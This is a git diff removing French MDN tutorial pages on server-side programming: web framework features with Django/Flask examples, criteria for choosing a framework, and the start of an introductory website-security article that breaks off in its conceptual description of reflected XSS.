Pour un terme de recherche courant  ("poisson", disons) vous pouvez voir littéralement des millions de valeurs retournées. Utiliser une base de données permet à ces données d'être stockées et partagées efficacement, et permet de contrôler la présentation de l'information à partir d'un seul endroit.

-
- -

Expérience utilisateur personnalisée

- -

Les serveurs peuvent stocker et utiliser des informations sur les clients pour fournir une expérience utilisateur personnalisée. Par exemple, beaucoup de sites proposent d'enregistrer une carte de crédit pour que les détails n'aient pas à être saisis de nouveau. Des sites comme Google Maps peuvent utiliser les emplacement enregistrés ou l'emplacement en cours pour fournir des informations d'itinéraire et chercher ou utiliser l'historique des voyages précédents pour trouver des boutiques locales dans les résultats de recherche.

- -

Une analyse plus approfondie des habitudes des utilisateurs peut être utilisée pour anticiper leurs intérêts et personnaliser les réponses ou les notifications du serveur, par exemple pour fournir une liste des lieux précédemment visités ou les plus populaires que vous pourriez vouloir chercher sur la carte.

- -
-

Note : Google Maps sauvegarde vos recherches et votre historique de visites. Les emplacement fréquemment visités ou fréquemment recherchés sont plus mis en avant que les autres.

- -

Les résultats de recherche Google sont optimisés en fonction des recherches précédentes.

- -
    -
  1.  Allez sur Google.
    2. -
  2.  Recherchez "football".
    3. -
  3.  Maintenant tapez "favoris" dans la barre de recherche et regardez les prédictions de recherche de l'autocomplete.
    4. -
- -

Coïncidence ? Nada!

-
- -

Accès contrôlé au contenu

- -

La programmation côté serveur permet aux sites de restreindre l'accès aux utilisateurs autorisés et de ne servir que les informations qu'un utilisateur à la permission de voir.

- -

Quelques exemples du monde réel incluent :

- -
    -
  • Les réseaux sociaux comme Facebook permettent aux utilisateurs de contrôler entièrement leurs propres données, mais permettent seulement à leurs amis de les voir ou des les commenter. L'utilisateur détermine qui peut voir ses données, et par extension, dans le flux de qui elles apparaissent —  l'autorisation est une partie centrale de l'expérience utilisateur !
    • -
  • -

    Le site sur lequel vous êtes en ce moment même contrôle l'accès au contenu : les articles sont visibles à tout le monde, mais seuls les utilisateurs identifiés peuvent éditer le contenu. Essayez de cliquer sur le bouton Modifier en haut de cette page — si vous êtes identifié, vous verrez la vue d'édition ; sinon, vous serez redirigé vers la page d'inscription.

    -
    • -
- -
-

Note : Il existe de nombreux autres exemples où l'accès au contenu est contrôlé. Par exemple, que voyez-vous si vous allez sur le site en ligne de votre banque ? Connectez-vous à votre compte — quelles autres informations pouvez-vous voir et modifier ? Quelles informations pouvez-vous voir que seule la banque peut changer ?

-
- -

Stocker les informations de session/d'état

- -

La programmation côté serveur permet aux développeurs d'utiliser des sessions — en gros, un mécanisme qui permet au serveur de stocker des informations sur l'utilisation en cours d'un site et d'envoyer des réponses différentes selon cette information.

- -

Cela permet, par exemple, à un site de savoir qu'un utilisateur s'est déjà identifié et afficher des messages qui lui sont destinés, d'afficher son historique de commande, ou peut-être encore, dans le cas d'un jeu, lui permettre de reprendre là où il en est resté.

- -
-

Note : Visitez le site d'un journal qui a une offre d'abonnement et ouvrez des pages (par exemple The Age). Si vous continuez à visiter le site quelques heures/jours, éventuellement, vous commencerez à être redirigé vers des pages expliquant comment vous abonner, et vous ne pourrez plus accéder aux articles. Cette information est un exemple de session stockée dans des cookies.

-
- -

Notifications et communication

- -

Les serveurs peuvent envoyer des notifications générales ou personnalisées à l'utilisateur via le site web lui-même ou par email, SMS, messagerie instantannée, conversations vidéo ou autres services de communication.

- -

Quelques exemples incluent :

- -
    -
  • Facebook et Twitter envoient des emails et SMS pour notifier des nouvelles communications.
    • -
  • Amazon envoie régulièrement des emails qui suggèrent des produits similaires à ceux que vous avez déjà acheté ou vu, par lesquels vous pourriez être intéressé.
    • -
  • Un serveur web peut envoyer des messages d'alerte aux administrateurs du site pour les prévenir en cas de mémoire insuffisante sur le serveur ou d'activité suspecte de l'utilisateur.
    • -
- -
-

Note : Le type de notification le plus courant est la "confirmation d'inscription". Choisissez presque n'importe quel site qui vous intéresse (Google, Amazon, Instagram, etc.) et créez un nouveau compte en utilisant votre adresse email. Vous recevrez rapidement un email qui confirme votre inscription, ou qui exige une confirmation pour activer votre compte.

-
- -

Analyse des données

- -

Un site web peut collecter beaucoup de données sur les utilisateurs : ce qu'ils cherchent, ce qu'ils achètent, ce qu'ils recommandent, combien de temps ils restent sur chaque page. La programmation côté serveur peut être utilisée pour affiner les réponses en fonction de l'analyse de ces données.

- -

Par exemple, Amazon et Google font tous deux de la publicité pour des produits en se basant sur les recherches précédentes, sur les achats que vous avez faits.

- -
-

Note : Si vous êtes un utilisateur de Facebook, allez sur votre flux principal et regardez les posts. Notez que certains posts ne sont pas classés par ordre numérique — en particulier, les posts qui ont le plus de "likes" sont souvent placés plus haut dans la liste que les posts plus récents.

- -

Observez également quels types de publicités vous voyez — vous pourrez voir des publicités pour des choses que vous avez regardé sur d'autres sites. L'algorithme de Facebook pour mettre en avant du contenu et faire de la publicité est un peu un mystérieux, mais il est clair qu'il prend en compte vos likes et ce que vous avez l'habitude de regarder !

-
- -

Sommaire

- -

Félicitations, vous avez atteint la fin du premier article sur la programmation côté serveur. 

- -

Vous avez maintenant appris que le code côté serveur est exécuté sur un serveur web et que son rôle principal est de contrôler quelle information est envoyée à l'utilisateur (tandis que le code côté client gère principalement la structure et la présentation des données pour l'utilisateur).

- -

Vous devez également comprendre que c'est utile pour créer des sites web qui délivrent de l'information efficacement, adaptée à chaque utilisateur et avoir une bonne idée de quelques choses que vous seriez capable de faire quand vous serez programmeur back-end.

- -

Finalement, vous devez comprendre que le code côté serveur peut être écrit dans de nombreux langages de programmation et que l'on peut utiliser des frameworks web pour rendre ce processus plus facile.

- -

Dans un futur article,  nous vous aiderons à choisir le framework le plus adapté pour la création d'un premier site. Ensuite, nous vous présenterons les principales interactions client-serveur plus en détails.

- -

{{NextMenu("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps")}}

- -

Dans ce module

- - diff --git a/files/fr/learn/server-side/premiers_pas/web_frameworks/index.html b/files/fr/learn/server-side/premiers_pas/web_frameworks/index.html deleted file mode 100644 index b75c70fa0f..0000000000 --- a/files/fr/learn/server-side/premiers_pas/web_frameworks/index.html +++ /dev/null @@ -1,306 +0,0 @@ ---- -title: Les frameworks web côté serveur -slug: Learn/Server-side/Premiers_pas/Web_frameworks -tags: - - Débutant - - Guide - - Server - - Web -translation_of: Learn/Server-side/First_steps/Web_frameworks ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps/Website_security", "Learn/Server-side/First_steps")}}
- -

L'article précédent nous a montré à quoi ressemble la communication entre les clients et les serveurs web, la nature des demandes et des réponses HTTP et ce qu’une application web côté serveur doit faire pour répondre aux demandes d’un navigateur web. Avec ces connaissances en main, il est temps d'explorer comment les frameworks peuvent nous simplifier la tâche.  En chemin, vous comprendrez comment choisir le framework le mieux adapté pour votre première application web côté serveur.

- - - - - - - - - - - - -
Prérequis :Connaissance informatique de base.
Objectif :Comprendre comment les frameworks simplifient le développement/la maintenance du code côté serveur et vous faire réfléchir à propos de la sélection d'un framework pour votre propre développement.
- -

Les sections suivantes proposent des illustrations avec des fragments de codes utilisés par des frameworks réels. Ne soyez pas inquiété si vous ne comprenez pas tout directement. Les explications viendront au fur et à mesure.

- -

Vue d'ensemble

- -

Les frameworks web côté serveur (c-à-d "web application frameworks") facilitent l'écriture, la maintenance et la mise à l'échelle d'applications web. Ils fournissent des outils et des bibliothèques qui simplifient les tâches courantes de développement web, notamment l'acheminement des URL vers les gestionnaires appropriés, l'interaction avec les bases de données, les sessions et l'autorisation des utilisateurs, le formatage de la sortie (HTML, JSON, XML, par exemple) et l'amélioration de la sécurité contre les attaques web.

- -

Dans la section suivante, nous allons voir un peu plus de détails comment les frameworks facilite le développement d'applications web. Nous verrons alors les critères utilisés pour choisir un framework adapté.

- -

Que peut faire un framework web pour vous ?

- -

Les frameworks web fournissent des outils et des bibliothèques pour simplifier les opérations de développement web courantes. Utiliser un framework web côté serveur n'est pas obligatoire, mais fortement conseillé... Cela vous facilitera grandement la vie. Cette section présente certaines des fonctionnalités parmi les plus souvent fournies par les frameworks web.

- -

Travailler directement avec les requêtes et les réponses HTTP

- -

Comme nous l'avons vu dans le dernier article, les serveurs web et les navigateurs communiquent via le protocole HTTP — les serveurs attendent les requêtes HTTP du navigateur, puis renvoient des informations dans les réponses HTTP. Les infrastructures web vous permettent d'écrire une syntaxe simplifiée qui générera un code côté serveur pour travailler avec ces demandes et réponses. Cela signifie que vous aurez un travail plus facile, en interagissant avec un code plus facile, de niveau supérieur, plutôt que des primitives de réseau de niveau inférieur.

- -

L'exemple ci-dessous montre comment cela fonctionne dans le framework web Django (Python). Chaque fonction "view" (un gestionnaire de demandes) reçoit un objet HttpRequest contenant les informations de la demande et doit renvoyer un objet HttpResponse avec la sortie formatée (dans ce cas une chaîne).

- -
# Django view function
-from django.http import HttpResponse
-
-def index(request):
-    # Get an HttpRequest (request)
-    # perform operations using information from the request.
-    # Return HttpResponse
-    return HttpResponse('Output string to return')
-
- -

Acheminer les requettes au gestionnaire approprié

- -

La plupart des sites fournissent un certain nombre de ressources différentes, accessibles via des URL distinctes. Il est difficile de gérer toutes ces fonctions en une seule fois. Par conséquent, les infrastructures web fournissent des mécanismes simples pour mapper les modèles d'URL vers des fonctions de gestionnaire spécifiques. Cette approche présente également des avantages en termes de maintenance, car vous pouvez modifier l'URL utilisée pour fournir une fonctionnalité particulière sans avoir à modifier le code sous-jacent.

- -

Différents frameworks utilisent différents mécanismes pour la cartographie. Par exemple, l'infrastructure web Flask (Python) ajoute des itinéraires pour afficher les fonctions à l'aide d'un décorateur.

- -
@app.route("/")
-def hello():
-    return "Hello World!"
- -

Alors que Django attend des développeurs qu'ils définissent une liste de mappages d'URL entre un modèle d'URL et une fonction d'affichage.

- -
urlpatterns = [
-    url(r'^$', views.index),
-    # example: /best/myteamname/5/
-    url(r'^(?P<team_name>\w.+?)/(?P<team_number>[0-9]+)/$', views.best),
-]
-
- -

Faciliter l'accès aux données via la requête

- -

Les données peuvent être encodées dans une requête HTTP de différentes manières. Une demande HTTP GET pour obtenir des fichiers ou des données du serveur peut coder les données requises dans les paramètres d'URL ou dans la structure d'URL. Une demande HTTP POST de mise à jour une ressource sur le serveur inclura plutôt les informations de mise à jour en tant que "données POST" dans le corps de la demande. La requête HTTP peut également inclure des informations sur la session ou l'utilisateur en cours dans un cookie côté client. Les frameworks web fournissent des mécanismes appropriés au langage de programmation pour accéder à ces informations. Par exemple, l'objet HttpRequest que Django transmet à chaque fonction d'affichage contient des méthodes et des propriétés permettant d'accéder à l'URL cible, le type de demande (par exemple, un HTTP GET), les paramètres GET ou POST, les données de cookie et de session, etc. Django peut également transmettre informations codées dans la structure de l'URL en définissant des "modèles de capture" dans le mappeur d'URL (voir le dernier fragment de code dans la section ci-dessus).

- -

extraction et simplification de l’accès à la base de données

- -

Les sites web utilisent des bases de données pour stocker des informations à partager avec les utilisateurs et sur les utilisateurs. Les infrastructures web fournissent souvent une couche de base de données qui extrait les opérations de lecture, d'écriture, de requête et de suppression de base de données. Cette couche d'extraction est appelée ORM (Object-Relational Mapper).

- -

L'utilisation d'un ORM présente deux avantages :   

- -
    -
  1. Vous pouvez remplacer la base de données sous-jacente sans avoir nécessairement besoin de changer le code qui l'utilise. Cela permet aux développeurs d’optimiser les caractéristiques des différentes bases de données en fonction de leur utilisation.   
    2. -
  2. La validation de base des données peut être mise en œuvre avec le framework. Il est ainsi plus facile et plus sûr de vérifier que les données sont stockées dans le type de champ de base de données approprié, qu’elles ont le format correct (par exemple une adresse électronique) et qu’elles ne sont en aucun cas malveillantes (les pirates peuvent utiliser certains modèles de code pour agir mal, telles que la suppression des enregistrements de la base de données).
    3. -
- -

Par exemple, le framework web Django fournit un ORM et fait référence à l'objet utilisé pour définir la structure d'un enregistrement en tant que modèle. Le modèle spécifie les types de champs à stocker, ce qui peut fournir une validation au niveau du champ sur les informations pouvant être stockées (par exemple, un champ de courrier électronique autoriserait uniquement les adresses de courrier électronique valides). Les définitions de champ peuvent également spécifier leur taille maximale, leurs valeurs par défaut, leurs options de liste de sélection, leur aide pour la documentation, leur libellé pour les formulaires, etc. Le modèle ne spécifie aucune information sur la base de données sous-jacente, il s'agit d'un paramètre de configuration susceptible d'être modifié séparément de notre code.

- -

Le premier extrait de code ci-dessous montre un modèle Django très simple pour un objet Team. Ceci stocke le nom et le niveau de l'équipe en tant que champs de caractères et spécifie un nombre maximal de caractères à stocker pour chaque enregistrement. Team_level étant un champ de choix, nous fournissons également un mappage entre les choix à afficher et les données à stocker, ainsi qu'une valeur par défaut.

- -
#best/models.py
-
-from django.db import models
-
-class Team(models.Model):
-    team_name = models.CharField(max_length=40)
-
-    TEAM_LEVELS = (
-        ('U09', 'Under 09s'),
-        ('U10', 'Under 10s'),
-        ('U11, 'Under 11s'),
-        ...  #list our other teams
-    )
-    team_level = models.CharField(max_length=3,choices=TEAM_LEVELS,default='U11')
-
- -

Le modèle Django fournit une API de requête simple pour la recherche dans la base de données. Cela peut correspondre à plusieurs champs à la fois en utilisant différents critères (par exemple, exact, insensible à la casse, supérieur à, etc.), et peut prendre en charge des instructions complexes (par exemple, vous pouvez spécifier une recherche sur les équipes U11 ayant un nom d'equipe (team name) qui commence par "Fr" ou se termine par "al").

- -

Le deuxième extrait de code montre une fonction d'affichage (gestionnaire de ressources) permettant d'afficher toutes nos équipes U09. Dans ce cas, nous spécifions que nous voulons filtrer tous les enregistrements où le champ team_level a exactement le texte 'U09' (notez dans l exemple ci dessous comment ce critère est transmis à la fonction filter () sous forme d'argument avec le nom du champ et le type de correspondance séparés par un double. underscores: team_level__exact).

- -
#best/views.py
-
-from django.shortcuts import render
-from .models import Team
-
-def youngest(request):
-    list_teams = Team.objects.filter(team_level__exact="U09")
-    context = {'youngest_teams': list_teams}
-    return render(request, 'best/index.html', context)
-
- -
-
- -

Rendering data

- -

Les frameworks web fournissent souvent des systèmes de templates. Ceux-ci vous permettent de spécifier la structure d'un document de sortie, en utilisant des espaces réservés pour les données qui seront ajoutées lors de la génération d'une page. Les modèles sont souvent utilisés pour créer du HTML, mais peuvent également créer d'autres types de documents.

- -

Les frameworks web fournissent souvent un mécanisme facilitant la génération d'autres formats à partir de données stockées, notamment {{glossary ("JSON")}} et {{glossary ("XML")}}.

- -

Par exemple, le système de templates Django vous permet de spécifier des variables en utilisant une syntaxe "double-handlebars" (par exemple,{{ variable_name }} ), qui sera remplacée par les valeurs transmises à partir de la fonction d'affichage lors du rendu d'une page. Le système de templates prend également en charge les expressions (avec la syntaxe:{% expression %} ), qui permettent aux templates d'effectuer des opérations simples, telles que l'itération des valeurs de liste transmises au modèle.

- -
-

Note : Many other templating systems use a similar syntax, e.g.: Jinja2 (Python), handlebars (JavaScript), moustache (JavaScript), etc.

-
- -

L'extrait de code ci-dessous montre comment cela fonctionne. En reprenant l'exemple "youngest_teams" de la section précédente, le modèle HTML se voit transmettre par la vue une variable de liste nommée youngest_teams. Dans le squelette HTML, nous avons une expression qui vérifie d'abord si la variable youngest_teams existe, puis itère dans une boucle for. À chaque itération, le modèle affiche la valeur team_name de l'équipe dans un élément de liste.

- -
#best/templates/best/index.html
-
-<!DOCTYPE html>
-<html lang="en">
-<body>
-
- {% if youngest_teams %}
-    <ul>
-    {% for team in youngest_teams %}
-        <li>\{\{ team.team_name \}\}</li>
-    {% endfor %}
-    </ul>
-{% else %}
-    <p>No teams are available.</p>
-{% endif %}
-
-</body>
-</html>
-
- -

Comment choisir un framework web

- -

Il existe de nombreux frameworks web pour presque tous les langages de programmation que vous souhaitez utiliser (nous énumérons quelques-uns des frameworks les plus populaires dans la section suivante). Avec autant de choix, il peut devenir difficile de déterminer quel framework constitue le meilleur point de départ pour votre nouvelle application web.

- -

Certains des facteurs qui peuvent affecter votre décision sont les suivants:

- -
    -
  • Effort d'apprentissage : L'effort d'apprentissage d'un framework web dépend de votre familiarité avec le langage de programmation sous-jacent, de la cohérence de son API, de la qualité de sa documentation ainsi que de la taille et de l'activité de sa communauté. Si vous avez peu d'eqperience en programmation, pensez à Django (l’un des plus faciles à apprendre en fonction des critères ci-dessus). Si vous faites partie d'une équipe de développement qui possède déjà une expérience significative avec un framework web ou un langage de programmation particulier, il est logique de s'en tenir à cela.
    • -
  • Productivité : la productivité mesure la rapidité avec laquelle vous pouvez créer de nouvelles fonctionnalités une fois que vous êtes familiarisé avec le framework. Elle inclut à la fois les efforts d'écriture et de maintenance du code (car vous ne pouvez pas écrire de nouvelles fonctionnalités alors que les anciennes sont endommagées). Un grand nombre des facteurs qui affectent la productivité sont similaires à ceux de "Effort d'apprentissage" - par ex. documentation, communauté, expérience en programmation, etc. - les autres facteurs incluent: -
      -
    • Objectif / origine du framework : certains frameworks web ont été créés à l'origine pour résoudre certains types de problèmes, et restent meilleurs pour créer des applications web avec des contraintes similaires. Par exemple, Django a été créé pour soutenir le développement d'un site web de journal. Il est donc bon pour les blogs et les autres sites impliquant la publication d'éléments. En revanche, Flask est un cadre beaucoup plus léger et est idéal pour créer des applications web s'exécutant sur des périphériques intégrés.
      • -
    • Populaire vs Impopulaire: Un framework populaire est un frameqork dans lequel il est recommandé de "meilleures" manières de résoudre un problème particulier. Les frameworks populaire ont tendance à être plus productifs lorsque vous essayez de résoudre des problèmes courants, car ils vous orientent dans la bonne direction, mais ils sont parfois moins flexibles.
      • -
    • Ressource incluses vs. l'obtenir vous-même : certains frameworks web incluent des outils / bibliothèques qui traitent tous les problèmes que leurs développeurs peuvent penser "par défaut", tandis que des frameworks plus légers attendent des développeurs web qu'ils choisissent la solution aux problèmes de bibliothèques séparées (Django est un exemple inclue " tout " tandis que  Flask est un exemple de framework très léger). Les frameworks qui incluent tout sont souvent plus faciles à démarrer car vous avez déjà tout ce dont vous avez besoin, et il est probable qu’il soit bien intégré et bien documenté. Cependant, si une structure plus petite contient tout ce dont vous avez besoin (le cas échéant), elle peut alors s'exécuter dans des environnements plus restreints et disposer d'un sous-ensemble de choses plus petites et plus faciles à apprendre.
      • -
    • Si le framework encourage ou non les bonnes pratiques de développement : par exemple, un cadre qui encourage une architecture Model-View-Controller où on sépare le code en fonctions logiques engendrera un code plus facile à maintenir qu'un code qui n'a pas d'attente de la part des développeurs. De même, la conception de la structure peut avoir un impact important sur la facilité de test et de réutilisation du code.
      • -
    -
    • -
  • Performances du framework/langage de programmation : généralement, la vitesse n’est pas le facteur le plus important dans la sélection car même des exécutions relativement lentes, comme Python, sont plus que suffisantes pour les sites de taille moyenne fonctionnant avec un matériel raisonnablement performant. Les avantages perçus en termes de vitesse par rapport à un autre langage comme C++ ou JavaScript peuvent être compensés par les coûts d’apprentissage et de maintenance.
    • -
  • Mise en cache : la popularité de votre site web grandit, vous constatez peut-être que le serveur ne peut plus gérer toutes les requêtes. À ce stade, vous pouvez envisager d’ajouter un support pour la mise en cache : une optimisation dans laquelle vous stockez tout ou partie de la réponse à une requête web afin qu'il ne soit pas nécessaire de la recalculer la prochaine fois. Retourner la réponse en cache à une requête est beaucoup plus rapide que d'en calculer une. La mise en cache peut être implémentée dans votre code ou sur le serveur (voir proxy inverse). Les infrastructures web auront différents niveaux de prise en charge pour définir le contenu pouvant être mis en cache.
    • -
  • Adpatation : votre site web connaît un succès fantastique, vous avez épuisé les avantages de la mise en cache, vous atteignez même les limites de la mise à l'échelle verticale (exécuter votre application Web sur un matériel plus puissant). À ce stade, il est temps de penser à une mise à l’échelle horizontale (partager la charge en répartissant votre site sur un certain nombre de serveurs web et de bases de données) ou «géographiquement», car certains de vos clients sont très éloignés de votre serveur. L'infrastructure web que vous choisissez peut faire toute la différence en termes de facilité d'adaptation de votre site.
    • -
  • Sécurité web : certains environnements web offrent une meilleure prise en charge de la gestion des attaques web courantes. Django, par exemple, supprime toutes les entrées utilisateur des modèles HTML afin que le code JavaScript saisi par l'utilisateur ne puisse pas être exécuté. D'autres frameworks offrent une protection similaire, mais celle-ci n'est pas toujours activée par défaut.
    • -
- -

Il existe de nombreux autres facteurs possibles, y compris les licences, que le cadre soit ou non en cours de développement actif, etc.

- -

Si vous débutez en programmation, vous choisirez probablement un framework facile à prendre en main. Une documentation riche et une communauté active sont également des critères pertinents pour votre choix. Pour la suite de ce cours, nous avons choisi Django (Python) et Express (Node/JavaScript) principalement parce que ces frameworks sont faciles à apprendre et bénéficient d'un bon soutien.

- -
-

Note: Let's go to the main websites for Django (Python) and Express (Node/JavaScript) and check out their documentation and community.

- -
    -
  1. Navigate to the main sites (linked above) -
      -
    • Click on the Documentation menu links (named things like "Documentation, Guide, API Reference, Getting Started".
      • -
    • Can you see topics showing how to set up URL routing, templates, and databases/models?
      • -
    • Are the documents clear?
      • -
    -
    2. -
  2. Navigate to mailing lists for each site (accessible from Community links). -
      -
    • How many questions have been posted in the last few days
      • -
    • How many have responses?
      • -
    • Do they have an active community?
      • -
    -
    3. -
-
- -

A few good web frameworks?

- -

Let's now move on, and discuss a few specific server-side web frameworks.

- -

The server-side frameworks below represent a few of the most popular available at the time of writing. All of them have everything you need to be productive — they are open source, are under active development, have enthusiastic communities creating documentation and helping users on discussion boards, and are used in large numbers of high-profile websites. There are many other great server-side frameworks that you can discover using a basic internet search.

- -
-

Note: Descriptions come (partially) from the framework websites!

-
- -

Django (Python)

- -

Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design. Built by experienced developers, it takes care of much of the hassle of web development, so you can focus on writing your app without needing to reinvent the wheel. It’s free and open source.

- -

Django follows the "Batteries included" philosophy and provides almost everything most developers might want to do "out of the box". Because everything is included, it all works together, follows consistent design principles, and has extensive and up-to-date documentation. It is also fast, secure, and very scalable. Being based on Python, Django code is easy to read and to maintain.

- -

Popular sites using Django (from Django home page) include: Disqus, Instagram, Knight Foundation, MacArthur Foundation, Mozilla, National Geographic, Open Knowledge Foundation, Pinterest, Open Stack.

- -

Flask (Python)

- -

Flask is a microframework for Python.

- -

While minimalist, Flask can create serious websites out of the box. It contains a development server and debugger, and includes support for Jinja2 templating, secure cookies, unit testing, and RESTful request dispatching. It has good documentation and an active community.

- -

Flask has become extremely popular, particularly for developers who need to provide web services on small, resource-constrained systems (e.g. running a web server on a Raspberry Pi, Drone controllers, etc.)

- -

Express (Node.js/JavaScript)

- -

Express is a fast, unopinionated, flexible and minimalist web framework for Node.js (node is a browserless environment for running JavaScript). It provides a robust set of features for web and mobile applications and delivers useful HTTP utility methods and middleware.

- -

Express is extremely popular, partially because it eases the migration of client-side JavaScript web programmers into server-side development, and partially because it is resource-efficient (the underlying node environment uses lightweight multitasking within a thread rather than spawning separate processes for every new web request).

- -

Because Express is a minimalist web framework it does not incorporate every component that you might want to use (for example, database access and support for users and sessions are provided through independent libraries). There are many excellent independent components, but sometimes it can be hard to work out which is the best for a particular purpose!

- -

Many popular server-side and full stack frameworks (comprising both server and client-side frameworks) are based on Express, including Feathers, ItemsAPI, KeystoneJS, Kraken, LoopBack, MEAN, and Sails.

- -

A lot of high profile companies use Express, including: Uber, Accenture, IBM, etc. (a list is provided here).

- -

Ruby on Rails (Ruby)

- -

Rails (usually referred to as "Ruby on Rails") is a web framework written for the Ruby programming language.

- -

Rails follows a very similar design philosophy to Django. Like Django it provides standard mechanisms for routing URLs, accessing data from a database, generating HTML from templates and formatting data as {{glossary("JSON")}} or {{glossary("XML")}}. It similarly encourages the use of design patterns like DRY ("dont repeat yourself" — write code only once if at all possible), MVC (model-view-controller) and a number of others.

- -

There are of course many differences due to specific design decisions and the nature of the languages.

- -

Rails has been used for high profile sites, including: Basecamp, GitHub, Shopify, Airbnb, Twitch, SoundCloud, Hulu, Zendesk, Square, Highrise.

- -

Laravel (PHP)

- -

Laravel is a web application framework with expressive, elegant syntax. Laravel attempts to take the pain out of development by easing common tasks used in the majority of web projects, such as:

- - - -

Laravel is accessible, yet powerful, providing tools needed for large, robust applications.

- -

ASP.NET

- -

ASP.NET is an open source web framework developed by Microsoft for building modern web applications and services. With ASP.NET you can quickly create web sites based on HTML, CSS, and JavaScript, scale them for use by millions of users and easily add more complex capabilities like Web APIs, forms over data, or real time communications.

- -

One of the differentiators for ASP.NET is that it is built on the Common Language Runtime (CLR), allowing programmers to write ASP.NET code using any supported .NET language (C#, Visual Basic, etc.). Like many Microsoft products it benefits from excellent tools (often free), an active developer community, and well-written documentation.

- -

ASP.NET is used by Microsoft, Xbox.com, Stack Overflow, and many others.

- -

Mojolicious (Perl)

- -

Mojolicious is a next generation web framework for the Perl programming language.

- -

Back in the early days of the web, many people learned Perl because of a wonderful Perl library called CGI. It was simple enough to get started without knowing much about the language and powerful enough to keep you going. Mojolicious implements this idea using bleeding edge technologies.

- -

Some of the features provided by Mojolicious are: Real-time web framework, to easily grow single file prototypes into well-structured MVC web applications; RESTful routes, plugins, commands, Perl-ish templates, content negotiation, session management, form validation, testing framework, static file server, CGI/PSGI detection, first class Unicode support; Full stack HTTP and WebSocket client/server implementation with IPv6, TLS, SNI, IDNA, HTTP/SOCKS5 proxy, UNIX domain socket, Comet (long polling), keep-alive, connection pooling, timeout, cookie, multipart and gzip compression support; JSON and HTML/XML parsers and generators with CSS selector support; Very clean, portable and object-oriented pure-Perl API with no hidden magic; Fresh code based upon years of experience, free and open source.

- -

Summary

- -

This article has shown that web frameworks can make it easier to develop and maintain server-side code. It has also provided a high level overview of a few popular frameworks, and discussed criteria for choosing a web application framework. You should now have at least an idea of how to choose a web framework for your own server-side development. If not, then don't worry — later on in the course we'll give you detailed tutorials on Django and Express to give you some experience of actually working with a web framework.

- -

For the next article in this module we'll change direction slightly and consider web security.

- -

{{PreviousMenuNext("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps/Website_security", "Learn/Server-side/First_steps")}}

- -

In this module

- - diff --git a/files/fr/learn/server-side/premiers_pas/website_security/index.html b/files/fr/learn/server-side/premiers_pas/website_security/index.html deleted file mode 100644 index bc47ab4042..0000000000 --- a/files/fr/learn/server-side/premiers_pas/website_security/index.html +++ /dev/null @@ -1,162 +0,0 @@ ---- -title: La sécurité d'un site Web -slug: Learn/Server-side/Premiers_pas/Website_security -tags: - - Débutant - - Guide - - Sécurité - - Sécurité Web -translation_of: Learn/Server-side/First_steps/Website_security ---- -
{{LearnSidebar}}
- -
{{PreviousMenu("Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/Premiers_pas")}}
- -

La sécurité d'un site web exige de la vigilance dans tous les aspects de sa conception et de son utilisation. Cet article d'introduction ne fera pas de vous un gourou de la sécurité des sites web, mais il vous aidera à comprendre d'où viennent les menaces et ce que vous pouvez faire pour renforcer votre application web contre les attaques les plus courantes.

- - - - - - - - - - - - -
Pré-requis :Connaissances de base en informatique.
Objectif :Comprendre les menaces les plus courantes à la sécurité des applications web et ce que vous pouvez faire pour réduire le risque de piratage de votre site.
- -

Qu'est-ce que la sécurité d'un site web?

- -

Internet est un endroit dangereux ! Fréquemment, nous entendons parler de sites web devenus indisponibles en raison d'attaques par déni de service, ou affichant des informations modifiées (et souvent préjudiciables) sur leurs pages d'accueil. Dans d'autres cas, très médiatisés, des millions de mots de passe, d'adresses électroniques et de détails sur des cartes de crédit sont divulgués au public, exposant les utilisateurs du site web à la fois à l'embarras personnel et au risque de pertes financières.

- -

L'objectif de la sécurité des sites web est de prévenir ces types d'attaques. Plus formellement, la sécurité des sites web est l'acte de protéger les sites web contre l'accès, l'utilisation, la modification, la destruction ou la perturbation non autorisées.

- -

La sécurité efficace d'un site web nécessite un effort de conception sur l'ensemble du site : dans votre application web, dans la configuration du serveur web, dans vos politiques de création et de renouvellement des mots de passe et dans le code côté-client. Bien que tout cela semble très inquiétant, la bonne nouvelle est que si vous utilisez un framework web côté serveur, il incluera certainement par défaut des mécanismes de défense solides et bien pensés contre un certain nombre des attaques les plus courantes. D'autres attaques peuvent être atténuées grâce à la configuration de votre serveur web, par exemple en activant HTTPS. Enfin, les outils d'analyse de vulnérabilité accessibles au public peuvent vous aider à découvrir d'éventuelles erreurs dans votre conception.

- -

Le reste de cet article détaille les menaces les plus courantes qui pèsent sur les sites web et quelques étapes simples pour protèger votre site.

- -
-

Note : ceci est un article d'introduction, conçu pour vous aider à réflechir à la sécurité de votre site web. Il n'est en rien exhaustif.

-
- -

Menaces visant la sécurité des sites web

- -

Cette section n'énumère que quelques-unes des menaces les plus courantes visant les sites web et la façon dont elles sont tenues à distance. À mesure que vous lisez, notez comment les menaces apparaissent lorsque l'application web fait confiance ou n'est pas assez méfiante vis-à-vis des données provenant du navigateur !

- -

Cross-Site Scripting (XSS)

- -

XSS est un terme utilisé pour décrire une classe d'attaque qui permet à l'attaquant d'injecter des scripts, exécutés côté-client, au travers du site web pour viser le navigateur web des autres utilisateurs. Comme le code injecté provient du site web le navigateur web le considère comme sûr, il peut de ce fait faire des choses comme transmettre le cookie d'authentification de l'utilisateur à l'attaquant. Une fois que l'attaquant obtient ce cookie il peut se connecter sur le site comme si il était l'utilisateur attaqué et peut faire tout ce que l'utilisateur pourrait faire. En fonction du site sur lequel l'attaque se produit, cela peut inclure l'accès aux détails de carte bancaire, les informations des contacts, la modification du mot de passe, etc.

- -
-

Note : les vulnérabilités XSS ont historiquement été les plus courantes.

-
- -

Il y a deux manières principales pour demander au site de retourner un script injecté vers un navigateur web — elles sont désignées en tant que vulnérabilités XSS réfléchie et persistante.

- -
    -
  • Une vulnérabilité XSS  réfléchie se produit quand le contenu de l'utilisateur transmis au serveur est immédiatement retourné, sans avoir été modifié, pour être affiché dans le navigateur — tout les scripts présents dans le contenu d'origine seront exécutés quand la nouvelle page sera chargée!
